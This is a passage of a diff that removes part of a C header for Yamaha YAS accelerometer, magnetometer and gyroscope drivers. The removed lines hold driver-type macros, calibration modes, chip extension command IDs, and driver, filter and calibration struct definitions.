YAS_ACC_DRIVER_LIS331DLH -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS331DLM -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LIS3DH -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_LSM330DLC -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_MMA8452Q -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_MMA8453Q -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_U2DH -#define YAS_TYPE_ACC YAS_TYPE_A_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_YAS535 -#define YAS_TYPE_ACC YAS_TYPE_AM_ACC -#elif YAS_ACC_DRIVER == YAS_ACC_DRIVER_YAS53x -#define YAS_TYPE_ACC YAS_TYPE_AMG_ACC -#endif - -#if YAS_MAG_DRIVER == YAS_MAG_DRIVER_NONE -#define YAS_TYPE_MAG YAS_TYPE_MAG_NONE -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS529 /* MS-3C */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS530 /* MS-3E */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS532 /* MS-3R */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS533 /* MS-3F */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS535 /* MS-6C */ -#define YAS_TYPE_MAG YAS_TYPE_AM_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS536 /* MS-3W */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 /* MS-3T */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS539 /* MS-3S */ -#define YAS_TYPE_MAG YAS_TYPE_M_MAG -#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS53x -#define YAS_TYPE_MAG YAS_TYPE_AMG_MAG -#endif - -#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE -#define YAS_TYPE_GYRO YAS_TYPE_GYRO_NONE -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMG160 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMI055 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMI058 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_EWTZMU -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_ITG3200 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_ITG3500 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_L3G3200D -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_L3G4200D -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_LSM330DLC -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_MPU3050 -#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO -#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_YAS53x -#define YAS_TYPE_GYRO YAS_TYPE_AMG_GYRO -#endif - -/* ---------------------------------------------------------------------------- - * Geomagnetic Calibration Configuration - *--------------------------------------------------------------------------- */ - -/*! Geomagnetic calibration mode: spherical only */ -#define YAS_MAG_CALIB_MODE_SPHERE (0) -/*! Geomagnetic calibration mode: ellipsoidal only */ -#define YAS_MAG_CALIB_MODE_ELLIPSOID (1) -/*! Geomagnetic calibration mode: spherical with gyroscope */ -#define YAS_MAG_CALIB_MODE_SPHERE_WITH_GYRO (2) -/*! Geomagnetic calibration mode: ellisoldal with gyroscope */ -#define YAS_MAG_CALIB_MODE_ELLIPSOID_WITH_GYRO (3) -/*! Geomagnetic calibration mode: gyroscope only */ -#define YAS_MAG_CALIB_MODE_WITH_GYRO (4) - -/* ---------------------------------------------------------------------------- - * Extension Command Definition - *--------------------------------------------------------------------------- */ -/*! YAS530 extension command: self test */ -#define YAS530_SELF_TEST (0x00000001) -/*! YAS530 extension command: self test noise */ -#define YAS530_SELF_TEST_NOISE (0x00000002) -/*! YAS530 extension command: obtains the hardware offset */ -#define YAS530_GET_HW_OFFSET (0x00000003) -/*! YAS530 extension command: sets the hardware offset */ -#define YAS530_SET_HW_OFFSET (0x00000004) -/*! YAS530 extension command: obtains last raw data (x, y1, y2, t) */ -#define YAS530_GET_LAST_RAWDATA (0x00000006) -/*! YAS530 extension command: obtains the ellipsoidal correction matrix */ -#define YAS530_GET_STATIC_MATRIX (0x00000007) -/*! YAS530 extension command: sets the ellipsoidal correction matrix */ -#define YAS530_SET_STATIC_MATRIX (0x00000008) - -/*! YAS532 extension command: self test */ -#define YAS532_SELF_TEST (0x00000001) -/*! YAS532 extension command: self test noise */ -#define YAS532_SELF_TEST_NOISE (0x00000002) -/*! YAS532 extension command: obtains the hardware offset */ -#define YAS532_GET_HW_OFFSET (0x00000003) -/*! YAS532 extension command: sets the hardware offset */ -#define YAS532_SET_HW_OFFSET (0x00000004) -/*! YAS532 extension command: obtains last raw data (x, y1, y2, t) */ -#define YAS532_GET_LAST_RAWDATA (0x00000006) -/*! YAS532 extension command: sets the interrupt enable */ -#define YAS532_SET_INTERRUPT_ENABLE (0x00000007) -/*! YAS532 extension command: sets the interrupt active HIGH */ -#define YAS532_SET_INTERRUPT_ACTIVE_HIGH (0x00000008) -/*! YAS532 extension command: obtains the ellipsoidal correction matrix */ -#define YAS532_GET_STATIC_MATRIX (0x00000009) -/*! YAS532 extension command: sets the ellipsoidal correction matrix */ -#define YAS532_SET_STATIC_MATRIX (0x0000000a) - -/*! YAS535 extension command: obtains last raw data (xy1y2[3] t xyz[3]) */ -#define YAS535_GET_LAST_RAWDATA (0x00000001) -/*! YAS535 extension command: self test for magnetometer */ -#define YAS535_MAG_SELF_TEST (0x00000002) -/*! YAS535 extension command: self test noise for magnetometer */ -#define YAS535_MAG_SELF_TEST_NOISE (0x00000003) -/*! YAS535 extension command: obtains the hardware offset */ -#define YAS535_MAG_GET_HW_OFFSET (0x00000004) -/*! YAS535 extension command: sets the hardware offset */ -#define YAS535_MAG_SET_HW_OFFSET (0x00000005) -/*! YAS535 extension command: obtains the average samples for magnetometer */ -#define YAS535_MAG_GET_AVERAGE_SAMPLE (0x00000006) -/*! YAS535 extension command: sets the average samples for magnetometer */ -#define YAS535_MAG_SET_AVERAGE_SAMPLE (0x00000007) -/*! YAS535 extension command: self test for accelerometer */ -#define YAS535_ACC_SELF_TEST (0x00010000) -/*! YAS535 extension command: obtains the average samples for accelerometer */ -#define YAS535_ACC_GET_AVERAGE_SAMPLE (0x00020000) -/*! YAS535 extension command: sets the average samples for accelerometer */ -#define YAS535_ACC_SET_AVERAGE_SAMPLE (0x00040000) - -/*! YAS536 extension command: self test */ -#define YAS536_SELF_TEST (0x00000001) -/*! YAS536 extension command: obtains the hardware offset */ -#define YAS536_GET_HW_OFFSET (0x00000002) -/*! YAS536 extension command: obtains the average filter length */ -#define YAS536_GET_AVERAGE_LEN (0x00000004) -/*! YAS536 extension command: sets the average filter length */ -#define YAS536_SET_AVERAGE_LEN (0x00000005) -/*! YAS536 extension command: obtains last raw data (x, y1, y2, t) */ -#define YAS536_GET_LAST_RAWDATA (0x00000006) - -/*! YAS537 extension command: self test */ -#define YAS537_SELF_TEST (0x00000001) -/*! YAS537 extension command: self test noise */ -#define YAS537_SELF_TEST_NOISE (0x00000002) -/*! YAS537 extension command: obtains last raw data (x, y1, y2, t) */ -#define YAS537_GET_LAST_RAWDATA (0x00000003) -/*! YAS537 extension command: obtains the average samples */ -#define YAS537_GET_AVERAGE_SAMPLE (0x00000004) -/*! YAS537 extension command: sets the average samples */ -#define YAS537_SET_AVERAGE_SAMPLE (0x00000005) -/*! YAS537 extension command: obtains the hardware offset */ -#define YAS537_GET_HW_OFFSET (0x00000006) -/*! YAS537 extension command: obtains the ellipsoidal correction matrix */ -#define YAS537_GET_STATIC_MATRIX (0x00000007) -/*! YAS537 extension command: sets the ellipsoidal correction matrix */ -#define YAS537_SET_STATIC_MATRIX (0x00000008) -/*! YAS537 extension command: obtains the overflow and underflow threshold */ -#define YAS537_GET_OUFLOW_THRESH (0x00000009) - - -/*! YAS539 extension command: self test */ -#define YAS539_SELF_TEST (0x00000001) -/*! YAS539 extension command: self test noise */ -#define YAS539_SELF_TEST_NOISE (0x00000002) -/*! YAS539 extension command: obtains last raw data (x, y1, y2, t) */ -#define YAS539_GET_LAST_RAWDATA (0x00000003) -/*! YAS539 extension command: obtains the average samples */ -#define YAS539_GET_AVERAGE_SAMPLE (0x00000004) -/*! YAS539 extension command: sets the average samples */ -#define YAS539_SET_AVERAGE_SAMPLE (0x00000005) -/*! YAS539 extension command: obtains the hardware offset */ -#define YAS539_GET_HW_OFFSET (0x00000006) - -/* ---------------------------------------------------------------------------- - * Structure definition - *--------------------------------------------------------------------------- */ - -/** - * @struct yas_vector - * @brief Stores the sensor data - */ -struct yas_vector { - int32_t v[3]; /*!< vector data */ -}; - -/** - * @struct yas_quaternion - * @brief Stores the quaternion - */ -struct yas_quaternion { - int32_t q[4]; /*!< quaternion */ - int32_t heading_error; /*!< heading error in mdegree, - -1 if unavailable */ -}; - -/** - * @struct yas_matrix - * @brief Stores the matrix data - */ -struct yas_matrix { - int16_t m[9]; /*!< matrix data */ -}; - -/** - * @struct yas_data - * @brief Stores the sensor data - */ -struct yas_data { - int32_t type; /*!< Sensor type */ - struct yas_vector xyz; /*!< X, Y, Z measurement data of the sensor */ - uint32_t timestamp; /*!< Measurement time */ - uint8_t accuracy; /*!< Measurement data accuracy */ -}; - -/** - * @struct yas_driver_callback - * @brief User-written callback functions specific to each implementation, such - * as communication controls with the device - */ -struct yas_driver_callback { - /** - * Open the device - * @param[in] type Sensor type - * @retval 0 Success - * @retval Negative Failure - */ - int (*device_open)(int32_t type); - /** - * Close the device - * @param[in] type Sensor type - * @retval 0 Success - * @retval Negative Failure - */ - int (*device_close)(int32_t type); - /** - * Send data to the device - * @param[in] type Sensor type - * @param[in] addr Register address - * @param[in] buf The pointer to the data buffer to be sent - * @param[in] len The length of the data buffer - * @retval 0 Success - * @retval Negative Failure - */ - int (*device_write)(int32_t type, uint8_t addr, const uint8_t *buf, - int len); - /** - * Receive data from the device - * @param[in] type Sensor type - * @param[in] addr Register address - * @param[out] buf The pointer to the data buffer to be received - * @param[in] len The length of the data buffer - * @retval 0 Success - * @retval Negative Failure - */ - int (*device_read)(int32_t type, uint8_t addr, uint8_t *buf, int len); - /** - * Sleep in micro-seconds - * @param[in] usec Sleep time in micro-seconds - */ - void (*usleep)(int usec); - /** - * Obtains the current time in milli-seconds - * @return The current time in milli-seconds - */ - uint32_t (*current_time)(void); -}; - -/** - * @struct yas_acc_driver - * @brief Acceleration sensor driver - */ -struct yas_acc_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(void); - /** - * Sets measurment period in milli-seconds - * @param[in] delay Measurement period in milli-seconds - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_delay)(int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(void); - /** - * Enables or disables sensors - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_enable)(int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -/** - * @struct yas_mag_driver - * @brief Magnetic sensor driver - */ -struct yas_mag_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(void); - /** - * Sets measurment period in milli-seconds - * @param[in] delay Measurement period in milli-seconds - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_delay)(int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(void); - /** - * Enables or disables sensors - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_enable)(int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -/** - * @struct yas_gyro_driver - * @brief Gyroscope sensor driver - */ -struct yas_gyro_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(void); - /** - * Sets measurment period in milli-seconds - * @param[in] delay Measurement period in milli-seconds - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_delay)(int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(void); - /** - * Enables or disables sensors - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_enable)(int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -/** - * @struct yas_acc_mag_driver - * @brief Acceleration and geomagnetix sensor driver (6-axis). - */ -struct yas_acc_mag_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @param[in] type Sensor type - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(int32_t type); - /** - * Sets measurment period in milli-seconds - * @param[in] type Sensor type - * @param[in] delay Measurement period in milli-seconds - * @retval Non-Negative The bit or of the sensor type successfully - * delay changed. - * @retval Negative Failure - */ - int (*set_delay)(int32_t type, int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @param[in] type Sensor type - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(int32_t type); - /** - * Enables or disables sensors - * @param[in] type Sensor type - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval Non-Negative The bit or of the sensor type successfully - * enabled/disabled. - * @retval Negative Failure - */ - int (*set_enable)(int32_t type, int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[in] type Sensor type - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(int32_t type, struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -/** - * @struct yas_acc_gyro_driver - * @brief Acceleration and gyroscope sensor driver (6-axis). - */ -struct yas_acc_gyro_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @param[in] type Sensor type - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(int32_t type); - /** - * Sets measurment period in milli-seconds - * @param[in] type Sensor type - * @param[in] delay Measurement period in milli-seconds - * @retval Non-Negative The bit or of the sensor type successfully - * delay changed. - * @retval Negative Failure - */ - int (*set_delay)(int32_t type, int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @param[in] type Sensor type - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(int32_t type); - /** - * Enables or disables sensors - * @param[in] type Sensor type - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval Non-Negative The bit or of the sensor type successfully - * enabled/disabled. - * @retval Negative Failure - */ - int (*set_enable)(int32_t type, int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[in] type Sensor type - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(int32_t type, struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -/** - * @struct yas_acc_mag_gyro_driver - * @brief Acceleration, geomagnetic and gyroscope sensor driver (9-axis). - */ -struct yas_acc_mag_gyro_driver { - /** - * Initializes the sensor, starts communication with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the communications with the device - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Obtains measurment period in milli-seconds - * @param[in] type Sensor type - * @retval Non-Negatiev Measurement period in milli-seconds - * @retval Negative Failure - */ - int (*get_delay)(int32_t type); - /** - * Sets measurment period in milli-seconds - * @param[in] type Sensor type - * @param[in] delay Measurement period in milli-seconds - * @retval Non-Negative The bit or of the sensor type successfully - * delay changed. - * @retval Negative Failure - */ - int (*set_delay)(int32_t type, int delay); - /** - * Reports the sensor status (Enabled or Disabled) - * @param[in] type Sensor type - * @retval 0 Disabled - * @retval 1 Enabled - * @retval Negative Failure - */ - int (*get_enable)(int32_t type); - /** - * Enables or disables sensors - * @param[in] type Sensor type - * @param[in] enable The status of the sensor (0: Disable, 1: Enable) - * @retval Non-Negative The bit or of the sensor type successfully - * enabled/disabled. - * @retval Negative Failure - */ - int (*set_enable)(int32_t type, int enable); - /** - * Obtains the sensor position - * @retval 0-7 The position of the sensor - * @retval Negative Failure - */ - int (*get_position)(void); - /** - * Sets the sensor position - * @param[in] position The position of the sensor (0-7) - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_position)(int position); - /** - * Measures the sensor - * @param[in] type Sensor type - * @param[out] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval Non-Negative The number of the measured sensor data - * @retval Negative Failure - */ - int (*measure)(int32_t type, struct yas_data *raw, int num); - /** - * Extension command execution specific to the part number - * @param[in] cmd Extension command id - * @param[out] result Extension command result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*ext)(int32_t cmd, void *result); - struct yas_driver_callback callback; /*!< Callback functions */ -}; - -#if YAS_MAG_FILTER_ENABLE -/** - * @struct yas_mag_filter_config - * @brief Magnetic filter configuration - */ -struct yas_mag_filter_config { - uint8_t len; /*!< Filter length */ - uint16_t noise; /*!< Filter noise X, Y, Z in [nT] */ - uint16_t threshold; /*!< Filter threshold in [nT] */ -}; - -/** - * @struct yas_mag_filter - * @brief Magnetic filter - */ -struct yas_mag_filter { - /** - * Initializes the filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the filter - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Filters the sensor data - * @param[in] input Measured sensor data - * @param[out] output Filtered sensor data - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*update)(struct yas_vector *input, struct yas_vector *output); - /** - * Obtains filter configuration - * @param[out] config Sensor filter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_mag_filter_config *config); - /** - * Sets filter configuration - * @param[in] config Sensor filter configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_mag_filter_config *config); -}; -#endif - -#if YAS_MAG_CALIB_ENABLE -/** - * @struct yas_mag_calib_config - * @brief Magnetic calibration configuration - */ -struct yas_mag_calib_config { - uint8_t mode; /*!< Calibration mode : #YAS_MAG_CALIB_MODE_SPHERE, - #YAS_MAG_CALIB_MODE_ELLIPSOID, - #YAS_MAG_CALIB_MODE_SPHERE_WITH_GYRO, - #YAS_MAG_CALIB_MODE_ELLIPSOID_WITH_GYRO */ - uint16_t spread[3]; /*!< Spread threshold for accuracy 1-3 - (YAS_MAG_CALIB_MODE_SPHERE) */ - uint16_t variation[3]; /*!< Variation threshold for accuracy 1-3 - (YAS_MAG_CALIB_MODE_SPHERE) */ -#if YAS_MAG_CALIB_ELLIPSOID_ENABLE - uint16_t el_spread[3]; /*!< Spread threshold for accuracy 1-3 - (YAS_MAG_CALIB_MODE_ELLIPSOID) */ - uint16_t el_variation[3]; /*!< Variation threshold for accuracy 1-3 - (YAS_MAG_CALIB_MODE_ELLIPSOID) */ -#endif -#if !YAS_MAG_CALIB_MINI_ENABLE - uint16_t trad_variation[3]; /*!< Traditional variation for accuracy 1-3 - */ -#endif -#if YAS_MAG_CALIB_WITH_GYRO_ENABLE - uint16_t cwg_threshold[12]; /*!< Threshold for calibration with gyro. - Order is {eval_th_for_narrow, - diff_angle_th_for_narrow, - eval_th_for_wide, eval_th_for_wide } - for accuracy 1, 2, and 3. */ -#endif -}; - -/** - * @struct yas_mag_calib_result - * @brief Magnetic calibration result - */ -struct yas_mag_calib_result { - struct yas_vector offset; /*!< Calibration offset [nT] */ - uint16_t spread; /*!< Spread value */ - uint16_t variation; /*!< Variation value */ - uint32_t radius; /*!< Magnetic radius [nT] */ - uint8_t axis; /*!< Update axis */ - uint8_t accuracy; /*!< Accuracy [0-3] */ - uint8_t level; /*!< The number of sample */ -#if !YAS_MAG_CALIB_MINI_ENABLE - int success_mode; /*!< Success mode. 1:cwm, 2:cwg. */ - uint16_t trad_variation; /*!< Traditional variation value */ -#endif -#if YAS_MAG_CALIB_WITH_GYRO_ENABLE - uint16_t cwg_spread; - uint16_t cwg_variation; -#endif -#if YAS_MAG_CALIB_ELLIPSOID_ENABLE - struct yas_matrix dynamic_matrix; -#endif -}; - -/** - * @struct yas_mag_calib - * @brief Magnetic calibration - */ -struct yas_mag_calib { - /** - * Initializes the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the calibration - * @param[in] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval 0 Calibration offset and accuracy are NOT changed - * @retval 1 Calibration offset or accuracy is changed - * @retval Negative Failure - */ - int (*update)(struct yas_data *raw, int num); - /** - * Obtains the calibration offset - * @param[in] type Sensor type - * @param[out] offset Calibration offset - * @param[out] accuracy Calibration offset accuracy - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_offset)(int type, struct yas_vector *offset, - uint8_t *accuracy); - /** - * Sets the calibration offset - * @param[in] type Sensor type - * @param[in] offset Calibration offset - * @param[in] accuracy Calibration offset accuracy - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_offset)(int type, struct yas_vector *offset, - uint8_t accuracy); - /** - * Obtains the calibration configuration - * @param[out] config Calibration configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_config)(struct yas_mag_calib_config *config); - /** - * Sets the calibration configuration - * @param[in] config Calibration configuration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_config)(struct yas_mag_calib_config *config); -#if YAS_MAG_CALIB_ELLIPSOID_ENABLE - /** - * Obtains the dynamic ellipsoid correction matrix - * @param[out] m dynamic ellipsoid correction matrix - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_dynamic_matrix)(struct yas_matrix *m); - /** - * Sets the dynamic ellipsoid correction matrix - * @param[in] m Dynamic ellipsoid correction matrix - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*set_dynamic_matrix)(struct yas_matrix *m); -#endif - /** - * Obtains the detail of the last calibration result - * @param[out] r Last calibration result - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*get_result)(struct yas_mag_calib_result *r); -}; -#endif - -#if YAS_GYRO_CALIB_ENABLE -/** - * @struct yas_gyro_calib_config - * @brief Gyroscope calibration configuration - */ -struct yas_gyro_calib_config { - uint16_t mag_noise; /*!< Magnetic sensor noise in standard deviation - [nT] */ - uint16_t gyro_noise; /*!< Gyroscope sensor noise in [dps per root HZ] */ -}; - -/** - * @struct yas_gyro_calib_result - * @brief Gyroscope calibration result - */ -struct yas_gyro_calib_result { - struct yas_vector offset; /*!< Calibration offset [mdps] */ - uint8_t accuracy; /*!< Accuracy [0-3] */ -}; - -/** - * @struct yas_gyro_calib - * @brief Gyroscope calibration - */ -struct yas_gyro_calib { - /** - * Initializes the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*init)(void); - /** - * Terminates the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*term)(void); - /** - * Resets the calibration - * @retval #YAS_NO_ERROR Success - * @retval Negative Failure - */ - int (*reset)(void); - /** - * Updates the calibration - * @param[in] raw Measured sensor data - * @param[in] num The number of the measured sensor data - * @retval 0 Calibration offset or accuracy is NOT changed - * @retval 1 